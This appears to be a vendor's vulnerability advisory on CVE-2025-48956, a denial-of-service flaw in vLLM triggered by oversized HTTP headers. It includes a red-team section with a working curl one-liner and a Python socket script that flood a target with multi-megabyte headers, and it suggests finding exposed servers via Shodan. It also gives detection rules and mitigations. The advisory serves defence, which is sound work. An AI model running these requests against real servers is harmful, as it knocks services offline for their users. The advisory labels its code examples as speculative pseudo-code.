CVE-2025-48956
Executive Summary
CVE-2025-48956 is a high-severity Denial of Service (DoS) vulnerability affecting vLLM, an inference and serving engine for large language models (LLMs). The vulnerability allows an unauthenticated remote attacker to cause server memory exhaustion by sending a single HTTP GET request with an extremely large header. This can lead to a crash or unresponsiveness of the vLLM service, impacting availability. The vulnerability affects versions from 0.1.0 up to, but not including, 0.10.1.1. The fix is implemented in version 0.10.1.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
vLLM is distributed as a Python package via PyPI. Organizations using vLLM should verify their installed version and update to the patched version immediately. The vulnerability is in the HTTP server component of vLLM, which is a core part of the package. There are no known supply chain compromises related to this CVE, but the unauthenticated nature of the attack makes it a critical risk for any exposed vLLM instance.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector (AV): Network (N) - The attack can be executed remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required; a simple HTTP GET request is sufficient.
- Privileges Required (PR): None (N) - No authentication is needed.
- User Interaction (UI): None (N) - No user interaction is required.
- Scope (S): Unchanged (U) - The vulnerability does not affect other components.
- Confidentiality (C): None (N) - No data is exposed.
- Integrity (I): None (N) - No data is modified.
- Availability (A): High (H) - The service can be rendered completely unavailable.
Threat Level: High. The low attack complexity, lack of authentication, and direct impact on availability make this a serious threat for any internet-facing vLLM deployment.
Deep Dive & Mechanics
The vulnerability resides in the HTTP server component of vLLM. When vLLM receives an HTTP GET request, it processes the headers. If a header is excessively large (e.g., a single header with a value of several megabytes), the server attempts to allocate memory to store the entire header. Without proper size limits, this can lead to memory exhaustion, causing the process to crash or become unresponsive.
The attack is trivial to execute: an attacker sends a single HTTP GET request with a crafted header, such as:
GET / HTTP/1.1
Host: target
X-Large-Header: <extremely long string>
The server will attempt to parse and store this header, consuming memory until the system runs out of resources. This is a classic resource exhaustion vulnerability (CWE-400).
Vulnerable vs. Patched Code
Vulnerable Code (vLLM < 0.10.1.1):
The vulnerable code likely uses a standard HTTP parser without enforcing a maximum header size. For example, in Python's http.server or a custom implementation, the server might read the entire header line into memory without limits.
# Vulnerable pseudo-code
def handle_request(self):
header_line = self.rfile.readline() # No size limit
# Process header...
Patched Code (vLLM >= 0.10.1.1): The patched version introduces a maximum header size limit. This can be done by checking the length of the header line before processing.
# Patched pseudo-code
MAX_HEADER_SIZE = 8192 # 8KB limit
def handle_request(self):
header_line = self.rfile.readline(MAX_HEADER_SIZE)
if len(header_line) > MAX_HEADER_SIZE:
# Reject request with 413 Payload Too Large
self.send_error(413)
return
# Process header...
The exact implementation may vary, but the principle is to enforce a reasonable limit on header size to prevent memory exhaustion.
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Cause a Denial of Service on a vLLM instance.
Prerequisites:
- Target vLLM instance (version < 0.10.1.1) accessible over HTTP.
- No authentication required.
Exploit Steps:
Identify Target: Scan for vLLM instances using Shodan or similar tools. Look for services on port 8000 (default vLLM port) or other ports.
Craft Malicious Request: Create an HTTP GET request with an extremely large header. This can be done using
curlor a custom script.# Using curl with a large header curl -H "X-Large: $(python3 -c 'print("A"*1000000)')" http://target:8000/Alternatively, use a Python script for more control:
import socket def send_large_header(host, port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) # Craft a GET request with a 10MB header large_header = "X-Large: " + "A" * 10_000_000 + "\r\n" request = f"GET / HTTP/1.1\r\nHost: {host}\r\n{large_header}\r\n" sock.send(request.encode()) sock.close() send_large_header("target", 8000)Observe Impact: The vLLM service should become unresponsive or crash. Monitor memory usage on the target to confirm exhaustion.
Expected Outcome: The vLLM process consumes excessive memory and either crashes or becomes unresponsive, denying service to legitimate users.
Blue Team (Defender)
Objective: Detect and mitigate the attack.
Detection:
- Monitor for HTTP requests with abnormally large headers.
- Use network monitoring tools to flag requests where header size exceeds a threshold (e.g., 10KB).
Mitigation:
- Update vLLM to version 0.10.1.1 or later.
- Implement a Web Application Firewall (WAF) to block requests with oversized headers.
- Use a reverse proxy (e.g., Nginx, HAProxy) to enforce header size limits before requests reach vLLM.
Example Nginx Configuration:
http {
# Limit header size to 8KB
large_client_header_buffers 4 8k;
# Or use a more restrictive limit
client_header_buffer_size 1k;
}
Indicators of Compromise (IOCs)
Network Traffic:
- HTTP GET requests with headers exceeding 10KB in size.
- Requests containing a single header with a very long value (e.g., millions of characters).
- Repeated requests from the same IP address targeting the vLLM endpoint.
System Logs:
- vLLM logs showing memory allocation failures or crashes.
- System logs (e.g.,
dmesg) indicating out-of-memory (OOM) killer activity. - Application logs with errors like
MemoryErrororCannot allocate memory.
Memory Usage:
- Sudden spike in memory usage for the vLLM process.
- Process crash or unresponsiveness.
Detection Engineering
YARA Rule
rule CVE_2025_48956_DoS_Large_Header {
meta:
description = "Detects HTTP requests with excessively large headers targeting vLLM"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-48956"
strings:
$http_get = "GET / HTTP/1.1"
$large_header = /X-[A-Za-z-]+: [A-Za-z0-9]{10000,}/
condition:
$http_get and #large_header > 0
}
Sigma Rule
title: CVE-2025-48956 - vLLM DoS via Large HTTP Header
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with headers exceeding 10KB in size, indicating a potential DoS attack on vLLM.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: vllm
detection:
selection:
http.method: 'GET'
http.header_size: '>10000'
condition: selection
falsepositives:
- Legitimate applications sending large headers (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-48956 - vLLM DoS via Large HTTP Header"; flow:to_server; content:"GET"; http_method; content:"Host"; http_header; pcre:"/X-[A-Za-z-]+: [A-Za-z0-9]{10000,}/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Action:
- Update vLLM to version 0.10.1.1 or later. This is the only complete fix.
- If immediate update is not possible, restrict network access to the vLLM service using a firewall or VPN.
Short-Term Mitigation:
- Deploy a reverse proxy (e.g., Nginx, HAProxy) in front of vLLM to enforce header size limits.
- Configure the proxy to reject requests with headers larger than a safe threshold (e.g., 8KB).
- Use a Web Application Firewall (WAF) to block oversized headers.
Long-Term Measures:
- Implement rate limiting to prevent rapid repeated attacks.
- Monitor memory usage and set up alerts for unusual spikes.
- Regularly update vLLM and other dependencies to the latest versions.
- Conduct security audits of HTTP parsing code in custom applications.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
- Enable logging of HTTP header sizes in your web server or proxy.
Valters IT
Securing Digital Frontiers